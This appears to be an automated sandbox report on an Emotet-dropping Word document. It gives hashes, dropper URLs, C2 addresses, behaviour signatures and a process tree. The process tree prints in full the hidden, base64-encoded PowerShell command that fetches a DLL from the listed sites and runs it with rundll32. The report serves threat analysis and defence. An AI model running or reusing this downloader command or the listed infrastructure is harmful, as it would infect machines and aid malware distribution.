Analysis

  • max time kernel
    123s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    26-01-2021 14:14

General

  • Target

    ARCH-2020-YNC_4114.doc

  • Size

    157KB

  • MD5

    feed38798d0bf20a70bd72c742b97ef9

  • SHA1

    08ea13bea6a2da4e3e83737c38cc68da749f8581

  • SHA256

    24e9aabdc3ffb872e3ada2131e7958e0e784eb7a51205ce15235ea171fe0314b

  • SHA512

    d88a972c5339fadb30b891a8f902a1d8df7f883908558571470d8daab9ca4eadb63c305dd5a51f2c475e02f47caf8264711b91db78fe91383449a8e7a2a9287e

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://allcannabismeds.com/unraid-map/ZZm6/

exe.dropper

http://giannaspsychicstudio.com/cgi-bin/PP/

exe.dropper

http://ienglishabc.com/cow/JH/

exe.dropper

http://abrillofurniture.com/bph-nclex-wygq4/a7nBfhs/

exe.dropper

https://etkindedektiflik.com/pcie-speed/U/

exe.dropper

https://vstsample.com/wp-includes/7eXeI/

exe.dropper

http://ezi-pos.com/categoryl/x/

Extracted

Family

emotet

Botnet

Epoch1

C2

152.170.79.100:80

190.247.139.101:80

138.197.99.250:8080

167.71.148.58:443

211.215.18.93:8080

191.241.233.198:80

83.169.21.32:7080

113.163.216.135:80

70.32.84.74:8080

217.13.106.14:8080

177.23.7.151:80

172.104.169.32:8080

187.39.237.56:8080

80.15.100.37:80

177.144.130.105:443

168.121.4.238:80

1.234.65.61:80

191.182.6.118:80

170.81.48.2:80

45.184.103.73:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Loads dropped DLL 4 IoCs
  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ARCH-2020-YNC_4114.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1728
  • C:\Windows\system32\cmd.exe
    cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD JAA2ADkAbQBEAFQANwAgACAAPQAgAFsAdAB5AFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiAC0AZgAnAFIAJwAsACcAUwAnACwAJwBZACcALAAnAFkAUwB0AEUATQAuAEkATwAuAGQAaQBSAEUAYwBUAE8AJwApACAAOwAgACAAIAAkAHkAMQAwAEkAIAAgAD0AIABbAFQAeQBwAEUAXQAoACIAewA2AH0AewAzAH0AewAyAH0AewA3AH0AewA0AH0AewAxAH0AewA1AH0AewA4AH0AewAwAH0AIgAtAGYAIAAnAGEARwBlAFIAJwAsACcAdAAuACcALAAnAEUAJwAsACcAWQBTAHQAJwAsACcATgBFACcALAAnAHMARQBSAHYAaQBDACcALAAnAHMAJwAsACcAbQAuACcALAAnAGUAUABvAGkAbgB0AG0AYQBuACcAKQA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpACcAKwAnAGwAZQBuAHQAbAB5ACcAKQArACgAJwBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQAnACkAKwAnAGUAJwApADsAJABQAHkAMABlAGIAagBpAD0AJABLADEAMgBPACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABQADYANQBaADsAJABYADkAMgBDAD0AKAAoACcAVQAnACsAJwBfADgAJwApACsAJwBSACcAKQA7ACAAIAAkADYAOQBNAGQAdAA3ADoAOgAiAEMAcgBgAGUAYQBUAGAARQBkAEkAUgBFAEMAdABvAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWgAnACsAKAAnAE0AJwArACcAUABZAGcAeQAnACsAJwBoACcAKQArACgAJwBsAHEAdABaACcAKwAnAE0AJwApACsAJwBQAEIAJwArACgAJwB4ACcAKwAnADUAagAnACkAKwAnAGYAJwArACgAJwBtAG8AWgBNACcAKwAnAFAAJwApACkALQBSAGUAcABsAGEAYwBFACgAWwBDAGgAYQBSAF0AOQAwACsAWwBDAGgAYQBSAF0ANwA3ACsAWwBDAGgAYQBSAF0AOAAwACkALABbAEMAaABhAFIAXQA5ADIAKQApADsAJABHADcANwBHAD0AKAAnAFgAOAAnACsAJwAwAFAAJwApADsAIAAkAHkAMQAwAEkAOgA6ACIAUwBlAEMAdQByAEkAdABgAHkAcAByAE8AYABUAE8AYABjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQASgAzADQASgA9ACgAKAAnAFoAMgAnACsAJwA4ACcAKQArACcATgAnACkAOwAkAFIAaQA2ADIAcwBvAGsAIAA9ACAAKAAnAFIANAAnACsAJwAzAEgAJwApADsAJABUADkAXwBJAD0AKAAnAEgANQAnACsAJwA4AEwAJwApADsAJABCAGgAbgB3AGUAOQAyAD0AJABIAE8ATQBFACsAKAAoACcATQBvACcAKwAoACcAUQBZAGcAJwArACcAeQAnACkAKwAoACcAaABsAHEAdABNAG8AUQAnACsAJwBCACcAKwAnAHgAJwApACsAKAAnADUAagBmAG0AJwArACcAbwBNACcAKwAnAG8AUQAnACkAKQAuACIAcgBgAEUAUABsAGAAQQBDAGUAIgAoACgAJwBNAG8AJwArACcAUQAnACkALABbAFMAVABSAGkATgBHAF0AWwBDAEgAQQByAF0AOQAyACkAKQArACQAUgBpADYAMgBzAG8AawArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAFcANQAwAFYAPQAoACcAWQAnACsAKAAnADcAOQAnACsAJwBZACcAKQApADsAJABPAGcAXwA0ADMAXwBtAD0AKAAnAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvAGEAbABsACcAKQArACgAJwBjAGEAJwArACcAbgBuAGEAYgBpACcAKwAnAHMAbQBlACcAKQArACgAJwBkACcAKwAnAHMALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB1ACcAKwAnAG4AcgAnACkAKwAoACcAYQBpAGQALQAnACsAJwBtAGEAcAAvAFoAJwArACcAWgAnACkAKwAoACcAbQAnACsAJwA2AC8AJwArACcAQABdAGIAJwApACsAKAAnADIAWwAnACsAJwBzACcAKQArACgAJwA6AC8ALwBnACcAKwAnAGkAJwArACcAYQBuACcAKQArACcAbgAnACsAKAAnAGEAJwArACcAcwBwAHMAeQAnACsAJwBjACcAKQArACcAaABpACcAKwAoACcAYwAnACsAJwBzAHQAdQAnACkAKwAoACcAZABpACcAKwAnAG8ALgBjAG8AbQAnACkAKwAoACcALwAnACsAJwBjAGcAaQAtACcAKQArACgAJwBiAGkAJwArACcAbgAvAFAAJwArACcAUAAvAEAAJwArACcAXQAnACkAKwAoACcAYgAnACsAJwAyAFsAcwA6ACcAKQArACcALwAvACcAKwAoACcAaQBlAG4AZwAnACsAJwBsAGkAcwBoACcAKwAnAGEAYgBjAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtAC8AJwApACsAKAAnAGMAJwArACcAbwB3AC8AJwArACcASgBIAC8AQAAnACsAJwBdAGIAMgBbAHMAOgAvACcAKQArACcALwBhACcAKwAoACcAYgAnACsAJwByAGkAbAAnACkAKwAoACcAbABvAGYAJwArACcAdQAnACkAKwAoACcAcgBuAGkAdAAnACsAJwB1ACcAKQArACgAJwByACcAKwAnAGUALgBjACcAKQArACgAJwBvAG0ALwBiACcAKwAnAHAAaAAnACsAJwAtACcAKwAnAG4AYwBsAGUAeAAtAHcAeQAnACsAJwBnACcAKQArACgAJwBxACcAKwAnADQAJwArACcALwBhADcAbgBCACcAKQArACcAZgAnACsAKAAnAGgAcwAnACsAJwAvACcAKQArACcAQAAnACsAJwBdACcAKwAoACcAYgAyACcAKwAnAFsAJwApACsAKAAnAHMAJwArACcAcwA6AC8AJwArACcALwBlAHQAJwArACcAawAnACsAJwBpAG4AZABlAGQAJwApACsAKAAnAGUAawAnACsAJwB0AGkAZgBsAGkAawAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvAHAAYwAnACsAJwBpAGUALQBzACcAKwAnAHAAJwApACsAJwBlACcAKwAoACcAZQBkAC8AJwArACcAVQAvAEAAXQBiADIAWwAnACsAJwBzAHMAJwApACsAKAAnADoALwAvAHYAcwB0ACcAKwAnAHMAJwArACcAYQAnACkAKwAnAG0AcAAnACsAKAAnAGwAZQAnACsAJwAuAGMAbwBtAC8AdwBwAC0AJwArACcAaQBuAGMAbAAnACsAJwB1AGQAJwArACcAZQBzACcAKwAnAC8AJwArACcANwBlAFgAJwApACsAKAAnAGUASQAnACsAJwAvACcAKwAnAEAAXQBiADIAWwAnACkAKwAnAHMAOgAnACsAJwAvAC8AJwArACgAJwBlAHoAaQAnACsAJwAtAHAAbwBzAC4AYwAnACsAJwBvAG0ALwBjACcAKwAnAGEAdABlAGcAbwByAHkAJwArACcAbAAnACsAJwAvAHgALwAnACkAKQAuACIAcgBFAHAAbABBAGAAYwBlACIAKAAoACcAXQAnACsAKAAnAGIAJwArACcAMgBbAHMAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAnAGgAdAAnACsAJwB0AHAAJwApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAFMAYABQAGwASQBUACIAKAAkAFIANgA5AEsAIAArACAAJABQAHkAMABlAGIAagBpACAAKwAgACQAUQAzADMASQApADsAJABaADQANABTAD0AKAAoACcARAA4ACcAKwAnADcAJwApACsAJwBPACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVQBqAHQAcwBwAGUAaAAgAGkAbgAgACQATwBnAF8ANAAzAF8AbQApAHsAdAByAHkAewAoACYAKAAnAE4AZQB3ACcAKwAnAC0ATwBiACcAKwAnAGoAZQBjAHQAJwApACAAUwB5AFMAdABFAG0ALgBuAGUAVAAuAHcAZQBCAEMAbABJAEUAbgB0ACkALgAiAGQAYABPAFcATgBMAG8AYQBkAEYAaQBgAGwARQAiACgAJABVAGoAdABzAHAAZQBoACwAIAAkAEIAaABuAHcAZQA5ADIAKQA7ACQAWAA3ADAAQgA9ACgAJwBPACcAKwAoACcANAAnACsAJwAwAEgAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAQgBoAG4AdwBlADkAMgApAC4AIgBsAGAAZQBuAGcAVABoACIAIAAtAGcAZQAgADMANwA2ADUAMgApACAAewAmACgAJwByAHUAJwArACcAbgBkACcAKwAnAGwAbAAzADIAJwApACAAJABCAGgAbgB3AGUAOQAyACwAKAAnAEMAJwArACcAbwBuACcAKwAnAHQAJwArACgAJwByAG8AJwArACcAbAAnACsAJwBfAFIAdQBuACcAKQArACgAJwBEACcAKwAnAEwATAAnACkAKQAuACIAVABvAGAAUwBUAHIASQBgAE4AZwAiACgAKQA7ACQATQA0ADcAVwA9ACgAJwBBADcAJwArACcAMQBKACcAKQA7AGIAcgBlAGEAawA7ACQARwA1ADIASgA9ACgAKAAnAEMAJwArACcAMgAwACcAKQArACcAQwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEIAMwAzAFQAPQAoACcAUQA5ACcAKwAnADYAVAAnACkA
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of WriteProcessMemory
    PID:1216
    • C:\Windows\system32\msg.exe
      msg Admin /v Word experienced an error trying to open the file.
      2⤵
        PID:1344
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        POwersheLL -w hidden -ENCOD JAA2ADkAbQBEAFQANwAgACAAPQAgAFsAdAB5AFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiAC0AZgAnAFIAJwAsACcAUwAnACwAJwBZACcALAAnAFkAUwB0AEUATQAuAEkATwAuAGQAaQBSAEUAYwBUAE8AJwApACAAOwAgACAAIAAkAHkAMQAwAEkAIAAgAD0AIABbAFQAeQBwAEUAXQAoACIAewA2AH0AewAzAH0AewAyAH0AewA3AH0AewA0AH0AewAxAH0AewA1AH0AewA4AH0AewAwAH0AIgAtAGYAIAAnAGEARwBlAFIAJwAsACcAdAAuACcALAAnAEUAJwAsACcAWQBTAHQAJwAsACcATgBFACcALAAnAHMARQBSAHYAaQBDACcALAAnAHMAJwAsACcAbQAuACcALAAnAGUAUABvAGkAbgB0AG0AYQBuACcAKQA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpACcAKwAnAGwAZQBuAHQAbAB5ACcAKQArACgAJwBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQAnACkAKwAnAGUAJwApADsAJABQAHkAMABlAGIAagBpAD0AJABLADEAMgBPACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABQADYANQBaADsAJABYADkAMgBDAD0AKAAoACcAVQAnACsAJwBfADgAJwApACsAJwBSACcAKQA7ACAAIAAkADYAOQBNAGQAdAA3ADoAOgAiAEMAcgBgAGUAYQBUAGAARQBkAEkAUgBFAEMAdABvAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWgAnACsAKAAnAE0AJwArACcAUABZAGcAeQAnACsAJwBoACcAKQArACgAJwBsAHEAdABaACcAKwAnAE0AJwApACsAJwBQAEIAJwArACgAJwB4ACcAKwAnADUAagAnACkAKwAnAGYAJwArACgAJwBtAG8AWgBNACcAKwAnAFAAJwApACkALQBSAGUAcABsAGEAYwBFACgAWwBDAGgAYQBSAF0AOQAwACsAWwBDAGgAYQBSAF0ANwA3ACsAWwBDAGgAYQBSAF0AOAAwACkALABbAEMAaABhAFIAXQA5ADIAKQApADsAJABHADcANwBHAD0AKAAnAFgAOAAnACsAJwAwAFAAJwApADsAIAAkAHkAMQAwAEkAOgA6ACIAUwBlAEMAdQByAEkAdABgAHkAcAByAE8AYABUAE8AYABjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQASgAzADQASgA9ACgAKAAnAFoAMgAnACsAJwA4ACcAKQArACcATgAnACkAOwAkAFIAaQA2ADIAcwBvAGsAIAA9ACAAKAAnAFIANAAnACsAJwAzAEgAJwApADsAJABUADkAXwBJAD0AKAAnAEgANQAnACsAJwA4AEwAJwApADsAJABCAGgAbgB3AGUAOQAyAD0AJABIAE8ATQBFACsAKAAoACcATQBvACcAKwAoACcAUQBZAGcAJwArACcAeQAnACkAKwAoACcAaABsAHEAdABNAG8AUQAnACsAJwBCACcAKwAnAHgAJwApACsAKAAnADUAagBmAG0AJwArACcAbwBNACcAKwAnAG8AUQAnACkAKQAuACIAcgBgAEUAUABsAGAAQQBDAGUAIgAoACgAJwBNAG8AJwArACcAUQAnACkALABbAFMAVABSAGkATgBHAF0AWwBDAEgAQQByAF0AOQAyACkAKQArACQAUgBpADYAMgBzAG8AawArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAFcANQAwAFYAPQAoACcAWQAnACsAKAAnADcAOQAnACsAJwBZACcAKQApADsAJABPAGcAXwA0ADMAXwBtAD0AKAAnAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvAGEAbABsACcAKQArACgAJwBjAGEAJwArACcAbgBuAGEAYgBpACcAKwAnAHMAbQBlACcAKQArACgAJwBkACcAKwAnAHMALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB1ACcAKwAnAG4AcgAnACkAKwAoACcAYQBpAGQALQAnACsAJwBtAGEAcAAvAFoAJwArACcAWgAnACkAKwAoACcAbQAnACsAJwA2AC8AJwArACcAQABdAGIAJwApACsAKAAnADIAWwAnACsAJwBzACcAKQArACgAJwA6AC8ALwBnACcAKwAnAGkAJwArACcAYQBuACcAKQArACcAbgAnACsAKAAnAGEAJwArACcAcwBwAHMAeQAnACsAJwBjACcAKQArACcAaABpACcAKwAoACcAYwAnACsAJwBzAHQAdQAnACkAKwAoACcAZABpACcAKwAnAG8ALgBjAG8AbQAnACkAKwAoACcALwAnACsAJwBjAGcAaQAtACcAKQArACgAJwBiAGkAJwArACcAbgAvAFAAJwArACcAUAAvAEAAJwArACcAXQAnACkAKwAoACcAYgAnACsAJwAyAFsAcwA6ACcAKQArACcALwAvACcAKwAoACcAaQBlAG4AZwAnACsAJwBsAGkAcwBoACcAKwAnAGEAYgBjAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtAC8AJwApACsAKAAnAGMAJwArACcAbwB3AC8AJwArACcASgBIAC8AQAAnACsAJwBdAGIAMgBbAHMAOgAvACcAKQArACcALwBhACcAKwAoACcAYgAnACsAJwByAGkAbAAnACkAKwAoACcAbABvAGYAJwArACcAdQAnACkAKwAoACcAcgBuAGkAdAAnACsAJwB1ACcAKQArACgAJwByACcAKwAnAGUALgBjACcAKQArACgAJwBvAG0ALwBiACcAKwAnAHAAaAAnACsAJwAtACcAKwAnAG4AYwBsAGUAeAAtAHcAeQAnACsAJwBnACcAKQArACgAJwBxACcAKwAnADQAJwArACcALwBhADcAbgBCACcAKQArACcAZgAnACsAKAAnAGgAcwAnACsAJwAvACcAKQArACcAQAAnACsAJwBdACcAKwAoACcAYgAyACcAKwAnAFsAJwApACsAKAAnAHMAJwArACcAcwA6AC8AJwArACcALwBlAHQAJwArACcAawAnACsAJwBpAG4AZABlAGQAJwApACsAKAAnAGUAawAnACsAJwB0AGkAZgBsAGkAawAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvAHAAYwAnACsAJwBpAGUALQBzACcAKwAnAHAAJwApACsAJwBlACcAKwAoACcAZQBkAC8AJwArACcAVQAvAEAAXQBiADIAWwAnACsAJwBzAHMAJwApACsAKAAnADoALwAvAHYAcwB0ACcAKwAnAHMAJwArACcAYQAnACkAKwAnAG0AcAAnACsAKAAnAGwAZQAnACsAJwAuAGMAbwBtAC8AdwBwAC0AJwArACcAaQBuAGMAbAAnACsAJwB1AGQAJwArACcAZQBzACcAKwAnAC8AJwArACcANwBlAFgAJwApACsAKAAnAGUASQAnACsAJwAvACcAKwAnAEAAXQBiADIAWwAnACkAKwAnAHMAOgAnACsAJwAvAC8AJwArACgAJwBlAHoAaQAnACsAJwAtAHAAbwBzAC4AYwAnACsAJwBvAG0ALwBjACcAKwAnAGEAdABlAGcAbwByAHkAJwArACcAbAAnACsAJwAvAHgALwAnACkAKQAuACIAcgBFAHAAbABBAGAAYwBlACIAKAAoACcAXQAnACsAKAAnAGIAJwArACcAMgBbAHMAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAnAGgAdAAnACsAJwB0AHAAJwApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAFMAYABQAGwASQBUACIAKAAkAFIANgA5AEsAIAArACAAJABQAHkAMABlAGIAagBpACAAKwAgACQAUQAzADMASQApADsAJABaADQANABTAD0AKAAoACcARAA4ACcAKwAnADcAJwApACsAJwBPACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVQBqAHQAcwBwAGUAaAAgAGkAbgAgACQATwBnAF8ANAAzAF8AbQApAHsAdAByAHkAewAoACYAKAAnAE4AZQB3ACcAKwAnAC0ATwBiACcAKwAnAGoAZQBjAHQAJwApACAAUwB5AFMAdABFAG0ALgBuAGUAVAAuAHcAZQBCAEMAbABJAEUAbgB0ACkALgAiAGQAYABPAFcATgBMAG8AYQBkAEYAaQBgAGwARQAiACgAJABVAGoAdABzAHAAZQBoACwAIAAkAEIAaABuAHcAZQA5ADIAKQA7ACQAWAA3ADAAQgA9ACgAJwBPACcAKwAoACcANAAnACsAJwAwAEgAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAQgBoAG4AdwBlADkAMgApAC4AIgBsAGAAZQBuAGcAVABoACIAIAAtAGcAZQAgADMANwA2ADUAMgApACAAewAmACgAJwByAHUAJwArACcAbgBkACcAKwAnAGwAbAAzADIAJwApACAAJABCAGgAbgB3AGUAOQAyACwAKAAnAEMAJwArACcAbwBuACcAKwAnAHQAJwArACgAJwByAG8AJwArACcAbAAnACsAJwBfAFIAdQBuACcAKQArACgAJwBEACcAKwAnAEwATAAnACkAKQAuACIAVABvAGAAUwBUAHIASQBgAE4AZwAiACgAKQA7ACQATQA0ADcAVwA9ACgAJwBBADcAJwArACcAMQBKACcAKQA7AGIAcgBlAGEAawA7ACQARwA1ADIASgA9ACgAKAAnAEMAJwArACcAMgAwACcAKQArACcAQwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEIAMwAzAFQAPQAoACcAUQA5ACcAKwAnADYAVAAnACkA
        2⤵
        • Blocklisted process makes network request
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1608
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Ygyhlqt\Bx5jfmo\R43H.dll Control_RunDLL
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1504
          • C:\Windows\SysWOW64\rundll32.exe
            "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Ygyhlqt\Bx5jfmo\R43H.dll Control_RunDLL
            4⤵
            • Loads dropped DLL
            • Drops file in System32 directory
            • Suspicious use of WriteProcessMemory
            PID:1636
            • C:\Windows\SysWOW64\rundll32.exe
              C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Slhhkwbwoepqoe\pfqfhfaklgyer.tpk",Control_RunDLL
              5⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              PID:1584

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\Ygyhlqt\Bx5jfmo\R43H.dll
      MD5

      759f11de546f75ec1b576ed031c7a1dc

      SHA1

      a727ebfc32b3c8c7b1fe073f009c53d49fae6f72

      SHA256

      bbb9c1b98ec307a5e84095cf491f7475964a698c90b48a9d43490a05b6ba0a79

      SHA512

      73c0609a7614505cf45dc98076194d1838d71465baa694d8efb7bc25e63c9c42a6a2447cdd25731cb4dd141cb467cd658461a01fca0b2dd19b0b4fa9842ee88d

    • \Users\Admin\Ygyhlqt\Bx5jfmo\R43H.dll
      MD5

      759f11de546f75ec1b576ed031c7a1dc

      SHA1

      a727ebfc32b3c8c7b1fe073f009c53d49fae6f72

      SHA256

      bbb9c1b98ec307a5e84095cf491f7475964a698c90b48a9d43490a05b6ba0a79

      SHA512

      73c0609a7614505cf45dc98076194d1838d71465baa694d8efb7bc25e63c9c42a6a2447cdd25731cb4dd141cb467cd658461a01fca0b2dd19b0b4fa9842ee88d

    • \Users\Admin\Ygyhlqt\Bx5jfmo\R43H.dll
      MD5

      759f11de546f75ec1b576ed031c7a1dc

      SHA1

      a727ebfc32b3c8c7b1fe073f009c53d49fae6f72

      SHA256

      bbb9c1b98ec307a5e84095cf491f7475964a698c90b48a9d43490a05b6ba0a79

      SHA512

      73c0609a7614505cf45dc98076194d1838d71465baa694d8efb7bc25e63c9c42a6a2447cdd25731cb4dd141cb467cd658461a01fca0b2dd19b0b4fa9842ee88d

    • \Users\Admin\Ygyhlqt\Bx5jfmo\R43H.dll
      MD5

      759f11de546f75ec1b576ed031c7a1dc

      SHA1

      a727ebfc32b3c8c7b1fe073f009c53d49fae6f72

      SHA256

      bbb9c1b98ec307a5e84095cf491f7475964a698c90b48a9d43490a05b6ba0a79

      SHA512

      73c0609a7614505cf45dc98076194d1838d71465baa694d8efb7bc25e63c9c42a6a2447cdd25731cb4dd141cb467cd658461a01fca0b2dd19b0b4fa9842ee88d

    • \Users\Admin\Ygyhlqt\Bx5jfmo\R43H.dll
      MD5

      759f11de546f75ec1b576ed031c7a1dc

      SHA1

      a727ebfc32b3c8c7b1fe073f009c53d49fae6f72

      SHA256

      bbb9c1b98ec307a5e84095cf491f7475964a698c90b48a9d43490a05b6ba0a79

      SHA512

      73c0609a7614505cf45dc98076194d1838d71465baa694d8efb7bc25e63c9c42a6a2447cdd25731cb4dd141cb467cd658461a01fca0b2dd19b0b4fa9842ee88d

    • memory/972-29-0x000007FEF6400000-0x000007FEF667A000-memory.dmp
      Filesize

      2.5MB

    • memory/1344-5-0x0000000000000000-mapping.dmp
    • memory/1504-17-0x0000000000000000-mapping.dmp
    • memory/1584-28-0x00000000001D0000-0x00000000001EF000-memory.dmp
      Filesize

      124KB

    • memory/1584-26-0x0000000000000000-mapping.dmp
    • memory/1608-14-0x0000000002920000-0x0000000002921000-memory.dmp
      Filesize

      4KB

    • memory/1608-10-0x000000001AD80000-0x000000001AD81000-memory.dmp
      Filesize

      4KB

    • memory/1608-6-0x0000000000000000-mapping.dmp
    • memory/1608-15-0x000000001B630000-0x000000001B631000-memory.dmp
      Filesize

      4KB

    • memory/1608-16-0x000000001C1A0000-0x000000001C1A1000-memory.dmp
      Filesize

      4KB

    • memory/1608-12-0x000000001AD04000-0x000000001AD06000-memory.dmp
      Filesize

      8KB

    • memory/1608-11-0x000000001AD00000-0x000000001AD02000-memory.dmp
      Filesize

      8KB

    • memory/1608-7-0x000007FEFBD61000-0x000007FEFBD63000-memory.dmp
      Filesize

      8KB

    • memory/1608-8-0x000007FEF5580000-0x000007FEF5F6C000-memory.dmp
      Filesize

      9.9MB

    • memory/1608-13-0x0000000002430000-0x0000000002431000-memory.dmp
      Filesize

      4KB

    • memory/1608-9-0x0000000002350000-0x0000000002351000-memory.dmp
      Filesize

      4KB

    • memory/1636-20-0x0000000075AE1000-0x0000000075AE3000-memory.dmp
      Filesize

      8KB

    • memory/1636-19-0x0000000000000000-mapping.dmp
    • memory/1636-25-0x0000000000310000-0x000000000032F000-memory.dmp
      Filesize

      124KB

    • memory/1728-2-0x0000000072911000-0x0000000072914000-memory.dmp
      Filesize

      12KB

    • memory/1728-4-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1728-3-0x0000000070391000-0x0000000070393000-memory.dmp
      Filesize

      8KB